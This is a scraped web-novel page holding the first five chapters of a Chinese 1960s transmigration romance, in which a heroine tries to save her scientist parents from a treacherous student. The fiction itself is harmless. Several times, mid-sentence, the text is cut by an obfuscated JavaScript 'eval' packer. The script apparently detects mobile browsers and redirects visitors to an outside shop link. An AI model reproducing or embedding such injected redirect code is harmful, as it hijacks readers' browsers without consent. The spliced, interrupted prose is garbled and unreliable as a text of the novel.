《六零炮灰夫妻[穿书]》 1. 穿书 京市。 红星军工厂家属院。 “既然书宜不愿意去随军就算了,志云这孩子也还不错的。” “是,志云虽然有点小心思,但有我们在,也翻不起什么大浪。” 耳边隐隐约约传来略有些熟悉的交谈声。 志云? 志云是谁? 赵书宜迷迷糊糊睁开眼,一时间只感觉天旋地转。 待看清屋内场景时,她整个人都怔愣住了。 房间有些拥挤,床边摆了一张笨重的书桌,或许应该叫做写字台。 写字台上有一个印着牡丹花的搪瓷缸子,几本书和几份报纸。 旁边是个双开门的红木衣柜,老旧的衣柜上还镶嵌着一块半身镜。 衣柜另一侧的门边挂着一副日历,赵书宜定睛一看,一幅孔雀梅花图下红通通四个大字:1965! 一九六五! 赵书宜蹭地坐起身来! 真的是一九六五! 她这是……穿越了?! 还是到了哪处复古场地啊? 嘶! 像是头被针狠狠扎了一下,无数画面顿时涌入赵书宜的脑海。 她手撑在床面上痛苦地被迫接收着不属于自己的记忆。 她果真是穿越了! 穿越到了自己看过的一本年代文里。 那本年代文名叫《重生之逆袭小娇妻》,书中有个悲情女配和她的名字一模一样,她就忍不住多看了点。 但与自己从小爹不疼娘不爱的处境不同,书中赵书宜出生书香世家,是沪市独生女,家庭条件极好,从小跟着爷奶被娇宠着长大。 偏偏这是特殊的六十年代。 条件好成了大错特错,赵家夫妻还是从国外学习回来的,情况更是雪上加霜。 也恰恰是这种时候,成了有心之人钻空子的最好时机。 在好友许晚夏和赵父学生高志云的设计下,原身嫁给了高志云。 自此开始了悲剧的一生。 想到书中原身的结局,赵书宜忍不住打了个寒颤。 根据她现在的记忆,原身似乎做了许多预知梦,然后她惴惴不安,一场高烧就去了,所以自己才会穿过来。 也不知道原身是真的去了还是穿越到了自己身上。 这都是什么事啊? 缓了片刻,赵书宜叹息道:“你放心,我绝对不会让悲剧重演的。” 自是无人回应她。 外面的交谈还在继续。 “到时候就把东西交给志云,书宜单纯,藏不住。” “嗯,有了那些东西,想必志云也能对书宜好点。” “那我先去把信寄了。” 信?! 赵书宜一个激灵。 该不会就是退亲的信吧? 不行,不能寄出去! 赵书宜急忙下床,结果头晕眼花间扑通栽到了地上。 嘶—— “书宜!” 房门被推开,一对气质颇佳的中年夫妻冲了进来。 赵书宜被扶起,仍旧晕乎乎的。 “书宜,没事吧。”赵母担忧地眉心都皱成了一团。 赵书宜摇头,下意识把手往后藏,这动作太明显,一下就被夫妻俩捕捉到了。 “哎呀,流血了。”赵母心疼地抓起她的手帮她吹了吹。 赵父也赶紧出去拿了红药水进来。 不过一个小小的擦伤,夫妻两人弄了好一通,又是上药又是哄的。 自从记事起赵书宜就从没有过这样的待遇,一时不觉眼圈都红了。 “怎么还哭了,疼吧,不哭不哭。” 赵母把赵书宜拥在怀里,感受到温暖的怀抱,她一下没能绷得住。 穿越的恐慌,多年来对亲生父母的怨怼,对于原身遭遇的同情都在顷刻间爆发,赵书宜眼泪止不住地哗啦啦往下流。 这可把赵家夫妻给急坏了。 夫妻两人安慰了许久赵书宜才缓过神来。 “爸,妈,我愿意去云省。” 多年前赵老爷子给赵书宜定了一门娃娃亲,对方现在是驻守云省的一名军官。 四月份的时候他曾来求亲,但当时原身已经被忽悠着想要嫁给高志云,不好当面拒绝,当时只说两个月内给对方去信告知结果。 父母刚才提到的应该就是拒绝信。 不行,就算不嫁给对方,她也暂时不能待在京市,在这个去哪都需要介绍信的年代,去云省是最好的选择。 “什么,你愿意去云省,不是说不喜欢顾岩吗?” 夫妻两人对视一眼,眼底的担忧更浓了。 “书宜,我跟你爸爸都商量好了,你不想去就算了,其实志云那孩子也还不错。” “不不不……不行。”赵书宜连连摇头,险些又晕过去。 “哎呀,别摇别摇。”赵母扶住赵书宜,这时候她也意识到了自己女儿似乎是认真的,劝道,“书宜别急,你慢慢说,我们还有时间考虑的。” 他们其实也只是听说情况有些不对,那把火还暂时没烧到厂研究所来,但是总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于知识,他们倾囊相授,对于生活,他们竭力照顾,就连最爱的女儿和家里最后的底牌都想着交给他,可没想到对方竟是这样一个白眼狼。 “幸亏啊!”赵母抬眼心有余悸地看向赵父。 赵父瞬间了然。 “是啊,幸亏。” 幸亏他们一切都还没有交出去。 幸亏他们还没有把自己的女儿推入火坑。 2. 秘密项目 看到夫妻两人如此痛心,赵书宜心里也不好受,但现在还有更重要的事情。 “爸,妈,高志云此计不成肯定还有后手,我们必须要早做准备。” 她一提醒,夫妻两人瞬间回过神来。 “书宜,你是怎么知道他把东西藏在伟人像后面的?”赵父很快抓住了重点。 他们一点也没怀疑自己女儿。 赵书宜抿了抿唇,这夫妻两人其实很敏锐,但这更多是体现在工作方面。 他们之所以没发现高志云的异常,也并不是真的什么都没发现,要不然不会说出把东西给高志云对方就会看在东西的面上对赵书宜好的话。 他们以为高志云只是有些小心思,而且就在自己眼皮子底下,对方也不敢对自己女儿不好。 只是没想到对方竟如此狼子野心。 思及此,赵书宜决定半真半假说出真相,要不然她担心夫妻两人不重视,难以度过这艰难的十年。 书中写到他们其实是有后路的,只是为了女儿他们没选那条路,被迫下放早早地就离世了。 “爸,妈,其实这些天我病重,迷迷糊糊做了一个梦。” 本来原身也是做了这个梦的。 赵书宜把原身做过的梦和自己知道的事情挑重点说了一下。 担心他们不信,赵书宜直接说出了他们的后路。 “我还梦到爸妈原本可以去参加秘密项目,但没有去,被下放到了西北乡下,那些人比现在外面的还要疯狂。” 那些人不仅会打人还会对下放的人做出许多侮辱性的行为,很多人都因为不堪受辱而活不下去。 书中的赵家父母虽不是自己丧失了生志,但被折磨后身体熬不住也早早地就去了。 以赵家夫妻的留洋经历,家中财物上交都没用,那只会引来更多人的觊觎,会觉得他们交上来的都那么多,不交的还指不定有多少。 其实赵家现在已经面临这样的情况了。 赵家奶奶祖辈很有钱,到五十年代的时候更是沪市数一数二的富户,实在招人眼。 于是老两口趁着公私合营的那段时间将家中财物多数上交,是沪市有名的红色资本家。 试想一下,那个年代能把儿女送出国的,家里条件肯定差不了。 但可能也是这个原因,导致许多人觉得赵家还有很多宝贝。 即便父母回国后没有回沪市而是来到京市红星军工厂,盯着他们的人照样不少。 其中盯得最紧,靠得最近的就是作为赵父学生的高志云。 赵书宜势必要教训这个白眼狼的。 “这场动乱要持续整整十年,爸妈必须保住手里的研究资料,做好研究,才能躲过这一劫。” 听到这话夫妻两人面色皆是为之一变。 他们很确信参加秘密项目的事从未跟赵书宜说过,这说明赵书宜说的是真的。 更令他们惊讶的是,这次的事态竟严重到如此地步! “八月必乱,但高志云等不到那时候,他蓄谋已久,很快他就要动作了,我们必须在那之前离开。” 俗话说,多行不义必自毙。 她相信高志云他们不会有什么好下场,但她也不会让他们好过就是了。 不过当务之急还是得先保证父母的安全。 “那你呢?” 夫妻二人显然还没太能搞清楚状况。 作为学过现代科学的坚定唯物主义论者,他们如何能相信一个梦就能预知未来? 但他们还是第一时间想着自己的女儿。 “我直接去找军代表开介绍信去云省。” 她现在这个身份十分危险,她必须去云省把自己嫁出去,如果不行,那她可能得想办法去港城了。 港城好像有个什么抵垒政策,可以让人落户,就是不知道是不是在这年代。 但只要有钱,黑在港城应该比黑在内地过得稍微好点。 苦啊,别人穿越不是发家致富就是享受甜蜜爱情,她一来就得想办法逃难了。 “那我们现在就去!”赵母当机立断。 这本来也是他们想的路,只是他们没想到会这么急。 但既然已经做出决定,尽早定下来也安心。 赵书宜欣然同意,“我们兵分两路,妈你假装去买点菜,爸,我们去厂里‘请假’,说你要送我去看大夫。” 一听这话,夫妻两人顿时了然。 但赵父提出了不同意见。 “郑书记值得信任,一事不烦二主,直接让他帮忙把介绍信开了,免得你单独跑一趟再被人注意到。” 赵母也是这个意思。 他们都如此说,赵书宜也觉得可以,但是她还是多嘴问了一句。 “爸,你确定郑书记可信吗?” 郑书记可是书中男主的亲爹。 第一世,书中原身同样拒绝了远在云省的顾岩,但只是不愿意离开父母,并非因为高志云,后来情况越发危急,她无奈匆匆嫁给了家里安排的一个当地的小排长。 没想到小排长是厂里书记的亲儿子,此番算是隐瞒身份弃文从武,从军后屡立战功,若干年后身居高位,当然这是后话了。 第二世女主也就是原身的好友许晚夏重生,把男主抢了过去。 虽说这个男主可能什么都不知道,但既然能和原身的死对头凑在一起,赵书宜自是不喜的。 所以对于男主他爹,赵书宜也有着天然的敌意。 赵父已经听她说了那些梦,自然也明白了她的顾虑。 “你放心,郑书记是信得过的,如果他都信不过的话,那我和你妈妈进了项目组也不会太安稳。” 这倒也是。 是她紧张过头了。 既然书中第一世他们家好好的,那就说明赵父赵母的决定没有错。 “那我们走吧。” 然而,一家三口刚收拾好准备出门,门外却响起了敲门声。 “书宜,你在家吗?” 听到声音,三人一下僵住了。 来人正是高志云。 高志云自从进厂研究所就一直跟着赵父,成长了不少,他也经常过来拜访。 一开始赵父也没那么喜欢他,也不太愿意让他来家里,架不住自己女儿欢迎,后面大家都知道赵研究员的学生高志云是个尊师重道的。 谁能想到他会做出后来那些破事呢? 无数念头在脑海闪过,赵书宜立马改变了方案。 就让赵父拖住高志云。 她要自己去找郑书记。 正好她也想看看对方是不是真的那么可信。 一分钟后,赵母先去开了门。 “志云来了?” 到底多活了些年纪,养气功夫多少还是有些的,饶是再气愤,赵母脸上半点不显。 赵父平常在研究中一向严厉,此时不苟言笑也看不出什么来。 “来得正好,我和书宜准备去买点面粉回来包饺子呢,你陪老赵说说话。” 高志云一愣。 他这一趟是专门来找赵书宜的,但赵母都这样说了,他也不好拂了对方面子,所以只是表情僵了一瞬立马笑着答应下来,但那眼神却如往常一样偷偷瞄向了赵书宜。 活脱脱一副情窦初开的样子,真够能装的。 但赵书宜也不赖,接触到对方眼神羞怯地低下了头去。 赵父轻咳一声。 “志云,书房来,我考考你。” 闻言赵母笑着拉了一下赵书宜,表现得格外正常。 “你爸真是个闲不住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵书宜正要往前走,赵母一把将她拉回了巷子里。 从家属院到厂里要经过一条大路,彼时路上有一群带着红袖章气势汹汹的年轻人不知要往哪去。 最近这段时间经常就会看到他们四处打砸,简直可以说是无法无天,实在让人胆寒。 赵母拉着赵书宜就往回走,躲进了一条那些人看不到的小巷。 “这些混球!”赵母压低声音,语气愤怒,“简直吃饱了没事干!” 赵书宜深以为然。 所幸那群人并不是往他们家属院去的,很快消失在了街角。 母女两人确定对方不会再回来,这才匆匆往厂门走去。 刚才的话题自然没能再持续下去。 很快到地方。 “一会儿你就在门口等我,我进去跟他说。” 赵母要谈的事,确实不适合赵书宜听,赵书宜乖巧地应下了。 见自己女儿与平日的性子差了不少,赵母有些心疼地摸了摸她的头,转身敲响了郑书记办公室的门。 赵书宜知道她是误会了,但被那一下摸头弄得心里都软软的。 她多想拥有这样一对眼里只有她的父母啊。 可惜才拥有就又要分别了。 赵书宜垂了垂眼,掩下自己的情绪。 办公室里传来一个男人的声音,“请进。” 赵书宜往旁边站了点,赵母推门进去。 起初她还能听到他们的一点点声音,但他们似乎很快注意到这点,她就什么也听不到了。 3. 空间 书记办公室门口有一棵大槐树,赵书宜站在树下,风一吹散了点燥意,她的心情也慢慢平复下来,开始琢磨起之后的事情。 突然想到什么,赵书宜低头看向自己右手手腕。 刚才晕晕沉沉的,她一直以为是自己的错觉。 她的手腕上本该戴着一个手镯的。 可是在房间里摔那一下,手镯没了。 书中女主有一个空间手镯,并没有说是从哪里来的,只说她往上面滴了血,手镯就消失了。 从原身的梦境来看,应该就是这只手镯了。 手镯是被女主骗过去的。 她说她掉了她母亲留给她的手镯跟原身这只很像,一直想讨要,但这只也是赵奶奶留给原身的,所以原身不愿意给。 后来女主找了只假的,借观赏的名义把镯子给换走了。 只是不知道这个空间要怎么进。 正想着,赵书宜就陷入一种很玄妙的感觉中,她人还站在原地,意识却来到了另一处地方。 这里同样有一棵树,树冠很大,大大的厚实的翠绿叶子,却不知是什么品种。 树旁有一条蜿蜒的泉水,泉水旁是一片清脆的草地…… “这位同志。” 赵书宜正震惊于自己眼前的场景,突然听到声音,她吓了一跳,连忙回过神来。 一个身材修长穿着军装的男人,站在距离她几步远的位置,正有些担心地看着她。 这人在原身的梦里出现过,就是那当过她丈夫后面又成了别人丈夫的书中男主郑景成。 他长相清秀,身姿笔挺,看着年纪不大。 事实上他也确实比原身和女主都要小一岁,现在只是个排长,但随着后面完成各种任务,他一次次晋升,爬得很快。 “同志,你还好吗?” 大概见赵书宜发愣,郑景成又开了口。 赵书宜摇头,“没事。” 她没多说,这时候她和对方应该是不认识的,应该保持距离。 以后她也没打算和对方多接触,她是不可能把对方作为自己退路的。 “你是来找……”郑景成话说一半,身后传来另一个人的声音。 “景成,来得正好,进来一下。”中年男人穿着中山装从办公室内迎了出来,“书宜,你也进来。” 大家都是这家属院的,郑书记自然是认识赵书宜的,他表现得如往常一样和蔼。 赵书宜跟着进了办公室,郑书记并没有急着跟郑景成说话,而是问赵书宜道:“书宜,听说你已经决定了要去云省随军?” 他语气虽然很温和,但表情却很严肃。 赵书宜心里咯噔了一下,不太明白他的意思。 这是不行吗? 她看了一眼赵母,得到对方肯定的眼神,这才点头。 “是。” 郑书记嘴唇轻抿嗯了一声说:“可以,顾岩那小子我知道,年初他立了功马上升任副团,这么年轻的副团可不多见,嫁给他不会有错。” 旁边郑景成有些惊讶地看向赵书宜,但很快又垂下眼去。 郑书记不动声色瞥了他一眼,说:“正好,景成他们要去云省办事,三日后的火车,你跟他们一起,这事宜早不宜迟。” 赵书宜诧异,没想到事情能这么顺利。 她看向郑景成,发现对方也正好看向她,她点了点头提前表示感谢,应了句好。 三天,足够她做很多事情了。 事情定下来,郑书记脸上才露出笑容,他对赵母说:“那你们母女就先回去好好道个别,事情就按我说的来吧。” 赵母答应,“行,多谢郑书记。” 两人又寒暄两句,赵母这才带着赵书宜出了红星军工厂。 赵书宜没再多话问什么,她看赵母神情柔和,事情进展应该挺顺利的。 只是没想到刚一出厂子,赵母的表情就慢慢开始凝重。 赵书宜一颗心也跟着被提起来。 “怎么了妈,是有什么问题吗?” “没事,妈就是担心你……” 女儿从小就养在爷爷奶奶身边颇为宠溺,是娇生惯养长大的。 她一个人去嫁人虽已是当下最好的出路,赵母仍旧不放心。 见状赵书宜想宽慰两句,对方却先开了口。 “外面人多眼杂,晚上回去再说。” 赵书宜乖乖点头。 人还好好的就没有什么大事。 她是放心的。 当下的情况已经比书中好很多了。 两人去供销社买了点面粉,也没耽搁就回了家。 家里东西都有,她们只是走个过场而已。 到家时屋内赵父还拉着高志云在书房里说话,母女两人没有去打扰他们,进了厨房。 赵书宜本想跟着赵母在厨房里忙活,却被对方阻拦。 “你病刚好,回屋休息,这里我来就行。” 赵书宜刚想拒绝,但想到原身那十指不沾阳春水的性子,只学着对方甜甜说了一句“辛苦妈妈”就回了屋。 她也有些着急地想看看那灵泉空间是什么情况。 赵书宜记得书中提到女主是可以直接进入空间的,为什么她不行呢? 不过也幸亏是不行,要不然她刚才在厂里可能就暴露了。 赵书宜有点紧张,心都跳得更快了,她想再试一试。 如果真是书中提到的那个空间,那这空间就是她以后最大的金手指了。 赵书宜锁了门,躺到床上,她默念进入空间,然后眼前画面一转她就真进到了空间里。 不只是意念。 而是整个人都进入了空间里! “原来真的可以。” 赵书宜抚摸着那棵大树的树皮,斑驳的纹理是那样的真实,微风拂过,就连空气都感觉更加清新了。 她捧起泉水尝了一口。 “好甜。” 紧接着她发现自己手上的擦伤竟离奇地消失了。 这就是灵泉水的效用。 刚才在外面她没能仔细查看这里的情况,这时才发现蔓延的青草地中间有一块地势低洼处,里面居然是一块水田。 是可以种水稻的意思? 赵书宜走近看了看,这跟她曾经见过的水田几乎一模一样,而且明显是犁好的。 所以她要插秧吗? 赵书宜陷入沉思。 她自觉自己似乎没有这本事。 小的时候她其实也是下过地的,只是那时候年纪小,父母再想压榨她也只能让她干些简单的活,后来一家子进了城就连小麦和韭菜都快要分不清了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615806|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过现在有这条件,又有灵泉水,应该随便种种就能活吧。 “总得试试。” 赵书宜又四下看了看,没再看到其他的东西。 她有些担心自己在空间待太久,外面的人会察觉,于是她赶紧出去了。 然后赵书宜惊奇地发现自己进空间逛了那么久居然才过去两分钟。 不会吧,两个空间的时间流速居然是不一样的。 那她不是可以有更多的时间做事了? 进空间躺一天,外面才过去两三个小时! 越想越兴奋。 赵书宜打算再多试试。 她想着用意念进入空间就能感觉到自己的身体还躺在床上,她想着直接进去,就会接触到空间中的东西。 想来空间已经和她融为了一体,完全受她意念的控制了。 很好。 她又试了试用意念将东西挪进空间,写字台立马消失。 赵书宜自己还不太适应,忙又把写字台放了回来。 还是原来的位置,分毫未挪,就像只是她的错觉。 十分钟后。 赵书宜躺在草地上,感受着阳光与清风,这才是人过的日子啊。 她下意识抬起手表,想要记录一下时间。 看到指针瞬间愣住。 得,不用再试验了。 时间明显走得慢了。 她干脆取出刚带进来的纸笔开始写东西。 许晚夏和高志云那样针对赵家,她怎么能让对方好过? 书中可是写了,高父在供销社采购部门做事,他母亲的工作在街道,虽然都不是什么多有权力的部门,但是里面可操作的空间就太多了。 不说别的仅从书中对高志云的描写就知道他家绝对不干净。 女主的视角说这个人家底颇丰,经常给女主送肉送红糖送麦乳精送的确良布料,甚至还给女主一辆自行车只收了五十块钱。 许晚夏觉得他在外面一定有自己来钱的路子,暗指黑市交易。 但是在原身的视角,高志云顾忌自己的前途,几乎不会沾手那些危险的事,再加上他家里的环境,钱从哪来的,就很值得考究了。 赵书宜也不确定他父母就真是做了什么贪墨财产的事,但对方既然都能陷害自己家了,自己合理猜测一下,不过分吧。 还有许晚夏。 许晚夏的母亲是妇产科大夫。 收病患家属的钱是绝对有的,书中提过,至于其他的许晚夏不知道有没有,她觉得自己还得去打听打听才行。 父母在,这事情可能比较难办,要想个周全一点的办法。 赵书宜也没想今天就写好,她只是先打个底稿。 先把自己能想到的罪名都罗列出来,到时候能查到证据固然好,如果不能,那就半真半假吧。 赵书宜绞尽脑汁,把符合这年代特色的罪名都写了个遍,一看时间,过去不过八分钟。 空间果然是个好东西。 她要想办法发挥空间最大的作用。 突然,她视线挪到灵泉水上。 此次分别,也不知道再见父母是什么时候,她得让父母的身体好起来。 但水肯定是没办法保存很久的。 “要是能弄成固体的就好了。” 4. 害羞 赵书宜端了杯水,刚出房间就闻到了肉的香味。 她忍不住嗅了嗅,肚子咕咕叫起来。 因为那些梦的缘故,原身最近一直胃口不佳,也不知道是灵泉水的作用,还是因为自己以前饿惨了,闻着香味赵书宜就好想吃。 “妈妈,做的什么,好香。” “你这丫头,鼻子倒是灵,红烧肉,来尝尝味道好不好?” 赵书宜眼睛一亮,把杯子递给赵母,“您先喝杯水,我来尝尝。” 赵母不疑有他,只当闺女关心自己,接过水咕嘟嘟就喝了。 “嗯,我闺女倒的水都是甜的。” 赵书宜眉眼弯弯,自豪道:“那是当然。” 其实那是稀释了的灵泉水。 做成什么东西都不如让对方喝下去的好。 赵书宜面上没显示任何的异常,拿筷子夹起一块肥瘦均匀的红烧肉,软弹的肉裹上糖色,散发出诱人的香味。 一口下去,肥肉入口即化,香而不腻,瘦肉香却不柴。 “嗯,真好吃。” 赵书宜由衷夸赞。 赵母厨艺历来不错,原身也会做饭,即便她不喜欢厨房的味道,什么菜看几次也会了。 这大概就是天赋。 在书中,在娘家很少下厨的原身几乎包揽了高家每顿的伙食。 只有做过的人才知道这有多难。 赵书宜眼睫微颤,还是有些意不平。 为原身为原身家人也为自己。 她前世因为父母所有的爱都倾注在了弟弟身上,所以哪怕住在自己家也跟原身在婆家的境遇差不了多少。 巧的是她自己的做菜天赋也很不错。 但她也不确定自己能做出这样味道的红烧肉。 “好吃就行,去叫你爸他们吃饭吧。” 赵母和赵书宜对视一眼,两人什么都没说就懂了对方的意思。 要沉住气。 赵书宜到了书房外面并没有直接进去,只是喊了一声,“爸,吃饭了。” 很快,书房门被打开,高志云先走了出来。 他看到赵书宜露出一口大白牙,配着身上的白色衬衣,看起来确实人模狗样的,也不怪原身被他的外表欺骗。 “书宜。”他欣喜地喊了一声。 这人心眼太多,早早地就开始改了称呼,在赵父赵母面前暴露自己的心思,却从不正经提两人的婚事,就是还妄想着许晚夏那边。 也就是许晚夏一直劝着,他这才松了口。 明明没那么情愿,也不知他是怎么能表现得这么欢喜的。 “吃饭了。”赵书宜低低说了一句,转身往厨房跑了。 她真是多看一眼都觉得恶心。 四人坐上餐桌时,高志云故作歉疚,“今日来得匆忙,也没带点什么东西来。” “来就来了,跟师父师娘还客气什么?”赵母打断他的话,笑着招呼大家开动,显然是不想听对方说废话了。 高志云却没听出来,他拿出一只钢笔递到了赵书宜的手边。 “书宜,我看这支钢笔很适合你,送给你。” 赵书宜瞥了一眼,这可是供销社的高档货,不仅要好几十块钱,还得要几张工业券。 她就说高志云有钱吧,这得花他三四个月的工资了。 他怎么可能舍得,这是料定了她不敢要吧? 赵书宜抬起纤瘦的手搭在钢笔盒上…… “咳!” 赵父一咳,赵书宜立马把手收了回去。 赵家父母虽然一直娇宠女儿,但家教其实很严,不会允许赵书宜无故收对方的东西。 赵书宜抬头看了眼赵父,又转头看向高志云,只见对方眼镜下笑容不减,反有点隐藏不住的得意。 她就知道。 就是料定了她不会收才这么大方。 这人在原身这里就没怎么出过血,好东西都送到许晚夏那边去了。 他既然要送东西,赵书宜怎能不收? 她再次伸手按住了钢笔。 “谢谢。” 在场三人神色皆是一变。 赵父赵母不懂自己女儿怎么突然要对方的钢笔,书宜可不是这么不知分寸的人。 现在他们不是应该和高志云划清关系吗? 而高志云更懵了。 自从勾搭赵书宜,赵书宜就没要过他的东西。 他在赵书宜身上唯一的消费就是一瓶汽水,还是他强行要付钱的。 没想到一向清高的赵书宜居然一改往日脾性,接下了他送的钢笔。 那可是他要送给晚晴的。 他的怔愣表情,赵家三人都注意到了,即便他及时敛去也没能藏得住。 赵书宜装作什么都没发现,只是冲高志云露出惯常的羞怯笑容。 没出嫁的大姑娘,不知道如何反应,害羞就对了。 只是今日她的害羞里还带了一分坚定。 高志云只当是自己最近的劝说起了效果,赵书宜这蠢货愿意嫁给自己了。 不过看到赵父黑沉的脸色他还是有点怵。 但他一点也不担心对方不愿意把赵书宜嫁给自己。 谁不知道他们把个丫头当宝啊。 毕竟赵书宜为了自己把军官都拒了,一定是爱惨了自己。 自己要是不娶她,说不定她还得要死要活呢。 可惜晚晴催得紧,要不然他还真想看看对方一家求自己的样子。 老不死的,还敢瞧不起他,等把东西拿到手就送到乡下去! 高志云恶狠狠地想着,表面却是不敢透露出半点的。 他从动筷起就开始夸赞,一顿饭把桌上的菜几乎夸了个天花乱坠。 看着赵母笑得见牙不见眼的样子,赵书宜心中腹诽,真是辛苦妈妈了,要陪这么个玩意儿演戏。 这顿饭吃得热闹又各怀心思。 吃过饭眼见着天也快黑了。 高志云告辞离开。 赵母让赵书宜送送,平常都是她送的,两人少不得要在巷子里说几句暧昧不明的话。 今天却被赵父拦了下来。 他对赵母说:“你去送送志云,我有事跟书宜说。” 高志云眼底厉色一闪而过。 “不用不用,我自己回去就行了,我改天再来看你们。” 他这话是看着赵书宜说的,其中意思不言而喻。 赵父脸色更黑了,“过来。” 赵母唱红脸,“发什么脾气,好好说话。”转脸对高志云和颜悦色,“别理他,师娘送你。” 两人走出赵家,赵父和赵书宜有些绷着的表情这才松懈下来。 父女两人一起坐在桌前等着赵母回来,都心情复杂没有说话。 也没等太久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615807|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵母回来把门给锁了,也加入了父女两人的静坐。 “书宜,那钢笔给我,我给你一支更好的。” 赵父连国外都去混过,哪里能是什么心眼都没有的人,在饭桌上他就已经想通了赵书宜要那支钢笔的原因了。 他们给予高志云的各种物质、知识上的财富不知能买多少钢笔了,拿他一支笔根本不足以补偿,不要白不要。 但那人的东西,别脏了自己女儿的手。 莫名的,明明是第一天和赵父相处,赵书宜就是轻松明白了他的意思。 她忍不住噗嗤笑了出来。 “知道了,给您,拿去换点钱票也是好的。” 赵书宜自然也不会吝啬一支钢笔,更何况要这支钢笔的还是自己父亲。 赵母嗔了赵父一眼。 “行了,就你多事,东西又没什么错,咱们还不能用了?” 赵书宜连连点头附和。 母亲说得更对。 看到乖巧的女儿,赵母心都软了,心疼也随即蔓延到了脸上。 她压低了声音道:“老赵,郑书记的意思是让我们明天就进项目组。” 父女两人同款惊讶。 “这么急?”赵父问。 赵母点头,“他说外面情况已经很严峻了,现在那些人看似还有点理智……” 她的话还没说完,意思是却很明显。 “我原本也是犹豫的,但是他问了我一句话。” “我们家难道就什么人都没得罪过吗?” 此话一出,一家人都沉默了。 若是平时这样问他们,他们都可以说自己一直与人为善,甚至没跟人红过脸。 但他们能管得了自己的善恶,还能管得了别人的恶意吗? 现在这世道,没罪名那些人都要找出罪名闹事,他们这种切切实实从国外回来在国外还有亲人的,逃得掉吗? 过了许久,赵父才有些哑着声音道:“那书宜呢,什么时候能过去?” 赵书宜也想知道他们是怎么安排的,以赵家夫妻对女儿的珍视程度,在女儿没有着落的情况下,他们肯定不会放心进入项目组。 “郑书记的意思是让书宜去他们家住两天,到时候跟着部队的人一起去坐火车。” 他们厂子本就是军工厂,时常会有部队里的人来洽谈各项事宜,赵父没有怀疑,心里觉得稳妥了许多,但还是提出了疑问。 “我记得他家有个小子,方便吗?” 赵母:“我问了,他家小子一直在外面工作,很少回来。” 赵书宜眼珠子转了转,总觉得哪里不对劲。 明明今天男主还去了郑书记办公室,这关系为什么要瞒着? 她没打算去郑家,去了郑家还怎么办自己的事? 但这就没必要说出来让夫妻两人担心了。 赵父明显还是担心,他还想再说什么,赵书宜忙劝道:“爸妈,你们放心,我一定会照顾好自己的,你们也一定要好好的,我才能过去安心地过日子。” 这事情真的没什么可拖的。 如果不是她要准备做些事情,她巴不得连夜上火车。 敌在明他们在暗,拖得越久风险越高。 赵家夫妻怎会不懂这个道理? 两夫妻对视一眼,又叮嘱了两句,就连忙收拾东西去了。 就按郑书记的安排来! 5. 财产 “书宜,这个你拿着,拿好了留个心眼别给任何人。” 正在帮夫妻两人收拾东西的赵书宜停下手中动作接过赵母递到手边的铁盒子。 “这是什么?” 赵书宜打开铁盒,映入眼帘的是一张存折和一些钱票。 扫眼看去,少说有几十张大团结。 以他们家的条件这些钱并不算多。 赵父赵母手握技术,回国不久就成了京市红星军工厂研究所的核心成员,现在父亲是副研究员,每个月工资280元,母亲是助理研究员,每个月工资180元,妥妥的高收入群体。 而且瘦死的骆驼比马大,夫妻两人这些年应该也有点积蓄。 但当赵书宜翻开几张存折,看到上面的数字,她眼睛越睁越大,四张存折,每张里面有三千块,居然足足有一万两千块。 要知道这可是六十年代啊。 六十年代的万元户!! 放到后世得是千万级别的了吧。 赵书宜回想原身的小时候,似乎那时的日子确实很是奢靡。 原谅她没见过世面。 “这么多,这是我们家全部的积蓄了吧。” 全部都要给她吗? 虽然她空间里安全,但拿这么多钱,她还是觉得不太合适。 “不是的,这里都是你爷爷奶奶和爸爸妈妈给你存的,爸妈在国外也攒了不少,本来就是打算等你结婚交给你的,如今环境不好,如非必要,千万别轻易地拿出来。” 赵书宜想到从小护着原身的两位老人,看着收拾东西的父母,心里说不出的难受。 “好,到时候等我的孩子长大了,我们就一起把存折交给孩子,说这是你太姥姥太姥爷和姥姥姥爷还有爸爸妈妈给你留的。” 赵书宜希望父母心里能够存着希望,真能看到那么一天。 赵母自是不知她的用心,哭笑不得。 “你这孩子,人还没嫁过去呢,就想着生孩子了。” 话虽如此,她眼中有着明显的希冀,显然也是想看到那一日的。 这年头的人生活俭朴,哪怕是他们家不缺钱,家里却也没有置办太多东西,收拾起来也很快。 收拾东西时,夫妻两人翻来覆去地叮嘱,就是不放心赵书宜去云省的日子。 赵书宜也不嫌烦,从前她想听这些念念叨叨都是奢望。 